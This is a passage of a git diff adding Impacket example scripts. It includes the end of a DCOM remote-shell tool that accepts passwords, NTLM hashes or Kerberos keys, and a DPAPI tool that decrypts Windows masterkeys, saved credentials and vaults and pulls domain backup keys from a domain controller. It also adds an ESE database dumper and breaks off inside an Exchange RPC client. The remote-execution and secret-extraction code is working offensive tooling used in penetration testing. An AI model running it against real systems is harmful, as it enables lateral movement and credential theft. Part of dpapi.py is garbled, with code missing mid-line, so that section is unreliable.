arg3['_varUnion']['bstrVal']['asData'] = '7' + dispParams['rgvarg'].append(arg3) + dispParams['rgvarg'].append(arg2) + dispParams['rgvarg'].append(arg1) + dispParams['rgvarg'].append(arg0) + + self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, + 0, [], []) + self.get_output() + +class AuthFileSyntaxError(Exception): + + '''raised by load_smbclient_auth_file if it encounters a syntax error + while loading the smbclient-style authentication file.''' + + def __init__(self, path, lineno, reason): + self.path=path + self.lineno=lineno + self.reason=reason + + def __str__(self): + return 'Syntax error in auth file %s line %d: %s' % ( + self.path, self.lineno, self.reason ) + +def load_smbclient_auth_file(path): + + '''Load credentials from an smbclient-style authentication file (used by + smbclient, mount.cifs and others). returns (domain, username, password) + or raises AuthFileSyntaxError or any I/O exceptions.''' + + lineno=0 + domain=None + username=None + password=None + for line in open(path): + lineno+=1 + + line = line.strip() + + if line.startswith('#') or line=='': + continue + + parts = line.split('=',1) + if len(parts) != 2: + raise AuthFileSyntaxError(path, lineno, 'No "=" present in line') + + (k,v) = (parts[0].strip(), parts[1].strip()) + + if k=='username': + username=v + elif k=='password': + password=v + elif k=='domain': + domain=v + else: + raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k)) + + return (domain, username, password) + +# Process command-line arguments. +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using the " + "ShellBrowserWindow DCOM object.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from ' + '(default ADMIN$)') + parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output ' + '(no SMB connection created)') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' + '"%s"). If errors are detected, run chcp.com at the target, ' + 'map the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py ' + 'again with -codec and the corresponding codec ' % CODEC) + parser.add_argument('-object', choices=['ShellWindows', 'ShellBrowserWindow', 'MMC20'], nargs='?', default='ShellWindows', + help='DCOM object to be used to execute the shell command (default=ShellWindows)') + parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, ' + 'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') + parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose ' + 'a command processor for the semi-interactive shell') + parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will ' + 'launch a semi-interactive shell') + parser.add_argument('-silentcommand', action='store_true', default = False, + help='does not execute cmd.exe to run given command (no output, cannot run dir/cd/etc.)') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. " + "See smbclient man page's -A option.") + group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.codec is not None: + CODEC = options.codec + else: + if CODEC is None: + CODEC = 'utf-8' + + if ' '.join(options.command) == ' ' and options.nooutput is True: + logging.error("-nooutput switch and interactive shell not supported") + sys.exit(1) + if options.silentcommand and options.command == ' ': + logging.error("-silentcommand switch and interactive shell not supported") + sys.exit(1) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + if options.com_version is not None: + try: + major_version, minor_version = options.com_version.split('.') + COMVERSION.set_default_version(int(major_version), int(minor_version)) + except Exception: + logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") + sys.exit(1) + + domain, username, password, address = parse_target(options.target) + + try: + if options.A is not None: + (domain, username, password) = load_smbclient_auth_file(options.A) + logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password))) + + if domain is None: + domain = '' + + if options.keytab is not None: + Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + executer = DCOMEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey, + options.share, options.nooutput, options.k, options.dc_ip, options.object, options.shell_type) + executer.run(address, options.silentcommand) + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) + sys.exit(0) diff --git a/examples/dpapi.py b/examples/dpapi.py new file mode 100644 index 0000000..8888358 --- /dev/null +++ b/examples/dpapi.py @@ -0,0 +1,592 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Example for using the DPAPI/Vault structures to unlock Windows Secrets. +# +# Author: +# Alberto Solino (@agsolino) +# +# Examples: +# +# You can unlock masterkeys, credentials and vaults. For the three, you will specify the file name (using -file for +# masterkeys and credentials, and -vpol and -vcrd for vaults). +# If no other parameter is sent, the contents of these resource will be shown, with their encrypted data as well. +# If you specify a -key blob (in the form of '0xabcdef...') that key will be used to decrypt the contents. +# In the case of vaults, you might need to also provide the user's sid (and the user password will be asked). +# For system secrets, instead of a password you will need to specify the system and security hives. +# +# References: +# All of the work done by these guys. I just adapted their work to my needs. +# - https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 +# - https://github.com/jordanbtucker/dpapick +# - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did ) +# - http://blog.digital-forensics.it/2016/01/windows-revaulting.html +# - https://www.passcape.com/windows_password_recovery_vault_explorer +# - https://www.passcape.com/windows_password_recovery_dpapi_master_key +# + +from __future__ import division +from __future__ import print_function + +import struct +import argparse +import logging +import sys +from six import b +from binascii import unhexlify, hexlify +from hashlib import pbkdf2_hmac + +from Cryptodome.Cipher import AES, PKCS1_v1_5 +from Cryptodome.Hash import HMAC, SHA1, MD4 +from impacket.uuid import bin_to_string +from impacket import crypto +from impacket.smbconnection import SMBConnection +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5 import lsad +from impacket.dcerpc.v5 import bkrp +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.examples.secretsdump import LocalOperations, LSASecrets +from impacket.structure import hexdump +from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, DPAPI_BLOB, \ + CREDENTIAL_BLOB, VAULT_VCRD, VAULT_VPOL, VAULT_KNOWN_SCHEMAS, VAULT_VPOL_KEYS, P_BACKUP_KEY, PREFERRED_BACKUP_KEY, \ + PVK_FILE_HDR, PRIVATE_KEY_BLOB, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY + + +class DPAPI: + def __init__(self, options): + self.options = options + self.dpapiSystem = {} + pass + + def getDPAPI_SYSTEM(self,secretType, secret): + if secret.startswith("dpapi_machinekey:"): + machineKey, userKey = secret.split('\n') + machineKey = machineKey.split(':')[1] + userKey = userKey.split(':')[1] + self.dpapiSystem['MachineKey'] = unhexlify(machineKey[2:]) + self.dpapiSystem['UserKey'] = unhexlify(userKey[2:]) + + def getLSA(self): + localOperations = LocalOperations(self.options.system) + bootKey = localOperations.getBootKey() + + lsaSecrets = LSASecrets(self.options.security, bootKey, None, isRemote=False, history=False, perSecretCallback = self.getDPAPI_SYSTEM) + + lsaSecrets.dumpSecrets() + + # Did we get the values we wanted? + if 'MachineKey' not in self.dpapiSystem or 'UserKey' not in self.dpapiSystem: + logging.error('Cannot grab MachineKey/UserKey from LSA, aborting...') + sys.exit(1) + + + + def deriveKeysFromUser(self, sid, password): + # Will generate two keys, one with SHA1 and another with MD4 + key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() + key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() + # For Protected users + tmpKey = pbkdf2_hmac('sha256', MD4.new(password.encode('utf-16le')).digest(), sid.encode('utf-16le'), 10000) + tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] + key3 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20] + + return key1, key2, key3 + + def deriveKeysFromUserkey(self, sid, pwdhash): + if len(pwdhash) == 20: + # SHA1 + key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest() + key2 = None + else: + # Assume MD4 + key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest() + # For Protected users + tmpKey = pbkdf2_hmac('sha256', pwdhash, sid.encode('utf-16le'), 10000) + tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] + key2 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20] + + return key1, key2 + + def run(self): + if self.options.action.upper() == 'MASTERKEY': + fp = open(options.file, 'rb') + data = fp.read() + mkf= MasterKeyFile(data) + mkf.dump() + data = data[len(mkf):] + + if mkf['MasterKeyLen'] > 0: + mk = MasterKey(data[:mkf['MasterKeyLen']]) + data = data[len(mk):] + + if mkf['BackupKeyLen'] > 0: + bkmk = MasterKey(data[:mkf['BackupKeyLen']]) + data = data[len(bkmk):] + + if mkf['CredHistLen'] > 0: + ch = CredHist(data[:mkf['CredHistLen']]) + data = data[len(ch):] + + if mkf['DomainKeyLen'] > 0: + dk = DomainKey(data[:mkf['DomainKeyLen']]) + data = data[len(dk):] + + if self.options.system and self.options.security and self.options.sid is None: + # We have hives, let's try to decrypt with them + self.getLSA() + decryptedKey = mk.decrypt(self.dpapiSystem['UserKey']) + if decryptedKey: + print('Decrypted key with UserKey') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey']) + if decryptedKey: + print('Decrypted key with MachineKey') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey']) + if decryptedKey: + print('Decrypted Backup key with UserKey') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey']) + if decryptedKey: + print('Decrypted Backup key with MachineKey') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + elif self.options.system and self.options.security: + # Use SID + hash + # We have hives, let's try to decrypt with them + self.getLSA() + key1, key2 = self.deriveKeysFromUserkey(self.options.sid, self.dpapiSystem['UserKey']) + decryptedKey = mk.decrypt(key1) + if decryptedKey: + print('Decrypted key with UserKey + SID') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + decryptedKey = bkmk.decrypt(key1) + if decryptedKey: + print('Decrypted Backup key with UserKey + SID') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + decryptedKey = mk.decrypt(key2) + if decryptedKey: + print('Decrypted key with UserKey + SID') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + decryptedKey = bkmk.decrypt(key2) + if decryptedKey: + print('Decrypted Backup key with UserKey + SID') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + elif self.options.key and self.options.sid: + key = unhexlify(self.options.key[2:]) + key1, key2 = self.deriveKeysFromUserkey(self.options.sid, key) + decryptedKey = mk.decrypt(key1) + if decryptedKey: + print('Decrypted key with key provided + SID') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + decryptedKey = mk.decrypt(key2) + if decryptedKey: + print('Decrypted key with key provided + SID') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + elif self.options.key: + key = unhexlify(self.options.key[2:]) + decryptedKey = mk.decrypt(key) + if decryptedKey: + print('Decrypted key with key provided') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + + elif self.options.pvk and dk: + pvkfile = open(self.options.pvk, 'rb').read() + key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):]) + private = privatekeyblob_to_pkcs1(key) + cipher = PKCS1_v1_5.new(private) + + decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None) + if decryptedKey: + domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decryptedKey) + key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']] + print('Decrypted key with domain backup key provided') + print('Decrypted key: 0x%s' % hexlify(key).decode('latin-1')) + return + + elif self.options.sid and self.options.key is None: + # Do we have a password? + if self.options.password is None: + # Nope let's ask it + from getpass import getpass + password = getpass("Password:") + else: + password = options.password + key1, key2, key3 = self.deriveKeysFromUser(self.options.sid, password) + + # if mkf['flags'] & 4 ? SHA1 : MD4 + decryptedKey = mk.decrypt(key3) + if decryptedKey: + print('Decrypted key with User Key (MD4 protected)') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + + decryptedKey = mk.decrypt(key2) + if decryptedKey: + print('Decrypted key with User Key (MD4)') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + + decryptedKey = mk.decrypt(key1) + if decryptedKey: + print('Decrypted key with User Key (SHA1)') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + + decryptedKey = bkmk.decrypt(key3) + if decryptedKey: + print('Decrypted Backup key with User Key (MD4 protected)') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + + decryptedKey = bkmk.decrypt(key2) + if decryptedKey: + print('Decrypted Backup key with User Key (MD4)') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + + decryptedKey = bkmk.decrypt(key1) + if decryptedKey: + print('Decrypted Backup key with User Key (SHA1)') + print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) + return + + elif self.options.target is not None: + domain, username, password, remoteName = parse_target(self.options.target) + + if domain is None: + domain = '' + + if password == '' and username != '' and self.options.hashes is None and self.options.no_pass is False and self.options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if self.options.hashes is not None: + lmhash, nthash = self.options.hashes.split(':') + else: + lmhash, nthash = '','' + + rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\protected_storage]' % remoteName) + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(username, password, domain, lmhash, nthash, self.options.aesKey) + + rpctransport.set_kerberos(self.options.k, self.options.dc_ip) + + dce = rpctransport.get_dce_rpc() + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + if self.options.k is True: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.connect() + dce.bind(bkrp.MSRPC_UUID_BKRP, transfer_syntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')) + + request = bkrp.BackuprKey() + request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID + request['pDataIn'] = dk.getData() + request['cbDataIn'] = len(dk.getData()) + request['dwParam'] = 0 + + resp = dce.request(request) + + ## Stripping heading zeros resulting from asymetric decryption + beginning=0 + for i in range(len(resp['ppDataOut'])): + if resp['ppDataOut'][i]==b'\x00': + beginning+=1 + else: + break + masterkey=b''.join(resp['ppDataOut'][beginning:]) + print('Decrypted key using rpc call') + print('Decrypted key: 0x%s' % hexlify(masterkey[beginning:]).decode()) + return + + else: + # Just print key's data + if mkf['MasterKeyLen'] > 0: + mk.dump() + + if mkf['BackupKeyLen'] > 0: + bkmk.dump() + + if mkf['CredHistLen'] > 0: + ch.dump() + + if mkf['DomainKeyLen'] > 0: + dk.dump() + + # credit to @gentilkiwi + elif self.options.action.upper() == 'BACKUPKEYS': + domain, username, password, address = parse_target(self.options.target) + + if password == '' and username != '' and self.options.hashes is None and self.options.no_pass is False and self.options.aesKey is None: + from getpass import getpass + password = getpass ("Password:") + if self.options.hashes is not None: + lmhash, nthash = self.options.hashes.split(':') + else: + lmhash, nthash = '','' + connection = SMBConnection(address, address) + if self.options.k: + connection.kerberosLogin(username, password, domain, lmhash, nthash, self.options.aesKey) + else: + connection.login(username, password, domain, lmhash=lmhash, nthash=nthash) + + rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\lsarpc]') + rpctransport.set_smb_connection(connection) + dce = rpctransport.get_dce_rpc() + if self.options.k: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + try: + dce.connect() + dce.bind(lsad.MSRPC_UUID_LSAD) + except transport.DCERPCException as e: + raise e + + resp = lsad.hLsarOpenPolicy2(dce, lsad.POLICY_GET_PRIVATE_INFORMATION) + for keyname in ("G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"): + buffer = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce, + resp['PolicyHandle'], keyname)) + guid = bin_to_string(buffer) + name = "G$BCKUPKEY_{}".format(guid) + secret = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce, + resp['PolicyHandle'], name)) + keyVersion = struct.unpack(' 28: + attribute = blob.attributes[i] + if 'IV' in attribute.fields and len(attribute['IV']) == 16: + cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV']) + else: + cipher = AES.new(key, AES.MODE_CBC) + cleartext = cipher.decrypt(attribute['Data']) + + if cleartext is not None: + # Lookup schema Friendly Name and print if we find one + if blob['FriendlyName'].decode('utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS: + # Found one. Cast it and print + vault = VAULT_KNOWN_SCHEMAS[blob['FriendlyName'].decode('utf-16le')[:-1]](cleartext) + vault.dump() + else: + # otherwise + hexdump(cleartext) + return + else: + blob.dump() + + elif options.vpol is not None: + fp = open(options.vpol, 'rb') + data = fp.read() + vpol = VAULT_VPOL(data) + vpol.dump() + + if self.options.key is not None: + key = unhexlify(self.options.key[2:]) + blob = vpol['Blob'] + data = blob.decrypt(key) + if data is not None: + keys = VAULT_VPOL_KEYS(data) + keys.dump() + return + elif self.options.action.upper() == 'UNPROTECT': + fp = open(options.file, 'rb') + data = fp.read() + blob = DPAPI_BLOB(data) + + if self.options.key is not None: + key = unhexlify(self.options.key[2:]) + if self.options.entropy_file is not None: + fp2 = open(self.options.entropy_file, 'rb') + entropy = fp2.read() + fp2.close() + elif self.options.entropy is not None: + entropy = b(self.options.entropy) + else: + entropy = None + + decrypted = blob.decrypt(key, entropy) + if decrypted is not None: + print('Successfully decrypted data') + hexdump(decrypted) + return + else: + # Just print the data + blob.dump() + + print('Cannot decrypt (specify -key or -sid whenever applicable) ') + + +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Example for using the DPAPI/Vault structures to unlock Windows Secrets.") + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + subparsers = parser.add_subparsers(help='actions', dest='action') + + # A domain backup key command + backupkeys = subparsers.add_parser('backupkeys', help='domain backup key related functions') + backupkeys.add_argument('-t', '--target', action='store', required=True, help='[[domain/]username[:password]@]') + backupkeys.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + backupkeys.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + backupkeys.add_argument('-k', action="store_true", required=False, help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + backupkeys.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + backupkeys.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' + 'If omitted it will use the domain part (FQDN) specified in the target parameter') + backupkeys.add_argument('--export', action='store_true', required=False, help='export keys to file') + + # A masterkey command + masterkey = subparsers.add_parser('masterkey', help='masterkey related functions') + masterkey.add_argument('-file', action='store', required=True, help='Master Key File to parse') + masterkey.add_argument('-sid', action='store', help='SID of the user') + masterkey.add_argument('-pvk', action='store', help='Domain backup privatekey to use for decryption') + masterkey.add_argument('-key', action='store', help='Specific key to use for decryption') + masterkey.add_argument('-password', action='store', help='User\'s password. If you specified the SID and not the password it will be prompted') + masterkey.add_argument('-system', action='store', help='SYSTEM hive to parse') + masterkey.add_argument('-security', action='store', help='SECURITY hive to parse') + masterkey.add_argument('-t', '--target', action='store', help='The masterkey owner\'s credentails to ask the DC for decryption' + 'Format: [[domain/]username[:password]@]') + masterkey.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + masterkey.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + masterkey.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + masterkey.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + masterkey.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' + 'If omitted it will use the domain part (FQDN) specified in the target parameter') + + # A credential command + credential = subparsers.add_parser('credential', help='credential related functions') + credential.add_argument('-file', action='store', required=True, help='Credential file') + credential.add_argument('-key', action='store', required=False, help='Key used for decryption') + + # A vault command + vault = subparsers.add_parser('vault', help='vault credential related functions') + vault.add_argument('-vcrd', action='store', required=False, help='Vault Credential file') + vault.add_argument('-vpol', action='store', required=False, help='Vault Policy file') + vault.add_argument('-key', action='store', required=False, help='Master key used for decryption') + + # A CryptUnprotectData command + unprotect = subparsers.add_parser('unprotect', help='Provides CryptUnprotectData functionality') + unprotect.add_argument('-file', action='store', required=True, help='File with DATA_BLOB to decrypt') + unprotect.add_argument('-key', action='store', required=False, help='Key used for decryption') + unprotect.add_argument('-entropy', action='store', default=None, required=False, help='String with extra entropy needed for decryption') + unprotect.add_argument('-entropy-file', action='store', default=None, required=False, help='File with binary entropy contents (overwrites -entropy)') + + options = parser.parse_args() + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + + try: + executer = DPAPI(options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + print('ERROR: %s' % str(e)) diff --git a/examples/esentutl.py b/examples/esentutl.py new file mode 100644 index 0000000..353d601 --- /dev/null +++ b/examples/esentutl.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# ESE utility. Allows dumping catalog, pages and tables. +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# Extensive Storage Engine (ese) +# + +from __future__ import division +from __future__ import print_function +import sys +import logging +import argparse + +from impacket.examples import logger +from impacket import version +from impacket.ese import ESENT_DB + + +def dumpPage(ese, pageNum): + data = ese.getPage(pageNum) + data.dump() + +def exportTable(ese, tableName): + cursor = ese.openTable(tableName) + if cursor is None: + logging.error('Can"t get a cursor for table: %s' % tableName) + return + + i = 1 + print("Table: %s" % tableName) + while True: + try: + record = ese.getNextRow(cursor) + except Exception: + logging.debug('Exception:', exc_info=True) + logging.error('Error while calling getNextRow(), trying the next one') + continue + + if record is None: + break + print("*** %d" % i) + for j in list(record.keys()): + if record[j] is not None: + print("%-30s: %r" % (j, record[j])) + i += 1 + +def main(): + print(version.BANNER) + # Init the example's logger theme + logger.init() + + parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping " + "catalog, pages and tables.") + parser.add_argument('databaseFile', action='store', help='ESE to open') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-page', action='store', help='page to open') + + subparsers = parser.add_subparsers(help='actions', dest='action') + + # dump page + dump_parser = subparsers.add_parser('dump', help='dumps an specific page') + dump_parser.add_argument('-page', action='store', required=True, help='page to dump') + + # info page + subparsers.add_parser('info', help='dumps the catalog info for the DB') + + # export page + export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB') + export_parser.add_argument('-table', action='store', required=True, help='table to dump') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + ese = ESENT_DB(options.databaseFile) + + try: + if options.action.upper() == 'INFO': + ese.printCatalog() + elif options.action.upper() == 'DUMP': + dumpPage(ese, int(options.page)) + elif options.action.upper() == 'EXPORT': + exportTable(ese, options.table) + else: + raise Exception('Unknown action %s ' % options.action) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + print(e) + ese.close() + + +if __name__ == '__main__': + main() + sys.exit(1) diff --git a/examples/exchanger.py b/examples/exchanger.py new file mode 100644 index 0000000..7c51a69 --- /dev/null +++ b/examples/exchanger.py @@ -0,0 +1,1080 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# A tool for connecting to MS Exchange via RPC over HTTP v2 +# +# Notes about -rpc-hostname: +# Our RPC over HTTP v2 implementation tries to extract the +# target's NetBIOS name via NTLMSSP and use it as RPC Server name. +# If it fails, you have to manually get the target RPC Server name +# from the Autodiscover service and set it in the -rpc-hostname parameter. +# +# Author: +# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) +# +# References: +# - https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/ +# + +from __future__ import print_function +import base64 +import codecs +import logging +import argparse +import binascii +import sys +from six import PY3 + +from impacket import uuid, version +from impacket.http import AUTH_BASIC +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.structure import parse_bitmask +from impacket.dcerpc.v5 import transport, nspi +from impacket.mapi_constants import PR_CONTAINER_FLAGS_VALUES, MAPI_PROPERTIES +from impacket.dcerpc.v5.nspi import CP_TELETEX, ExchBinaryObject, \ + get_guid_from_dn, get_dn_from_guid +from impacket.dcerpc.v5.rpch import RPC_PROXY_REMOTE_NAME_NEEDED_ERR, \ + RPC_PROXY_HTTP_IN_DATA_401_ERR, RPC_PROXY_CONN_A1_0X6BA_ERR, \ + RPC_PROXY_CONN_A1_404_ERR, RPC_PROXY_RPC_OUT_DATA_404_ERR, \ + RPC_PROXY_CONN_A1_401_ERR + +PY37ORHIGHER = sys.version_info >= (3, 7) +PR_CONTAINER_FLAGS = 0x36000003 +PR_ENTRYID = 0x0fff0102 +PR_DEPTH = 0x30050003 +PR_EMS_AB_IS_MASTER = 0xfffb000B +PR_EMS_AB_CONTAINERID = 0xfffd0003 +PR_EMS_AB_PARENT_ENTRYID = 0xfffc0102 +PR_DISPLAY_NAME = 0x3001001F +PR_EMS_AB_OBJECT_GUID = 0x8c6d0102 +PR_INSTANCE_KEY = 0x0ff60102 + +DELIMITER = "=======================" + +class Exchanger: + def __init__(self): + self._username = '' + self._password = '' + self._domain = '' + self._lmhash = '' + self._nthash = '' + + self._extended_output = False + self._output_type = 'hex' + + self._stringbinding = None + self._rpctransport = None + + self.__outputFileName = None + self.__outputFd = None + + def conenct_mapi(self): + raise NotImplementedError('Virtual method. Not implemented in subclass!') + + def connect_rpc(self): + raise NotImplementedError('Virtual method. Not implemented in subclass!') + + def load_autodiscover(self): + # This should be implemented only as optional, + # and the implementation should support processing emails + # which do not belong to the used for the authentication account + raise NotImplementedError('Not Implemented!') + + def set_credentials(self, username='', password='', domain='', hashes=None): + self._username = username + self._password = password + self._domain = domain + self._lmhash = '' + self._nthash = '' + + if hashes is not None: + self._lmhash, self._nthash = hashes.split(':') + + def set_extended_output(self, output_mode): + self._extended_output = output_mode + + def set_output_type(self, output_type): + self._output_type = output_type + + def set_output_file(self, filename): + self.__outputFileName = filename + self.__outputFd 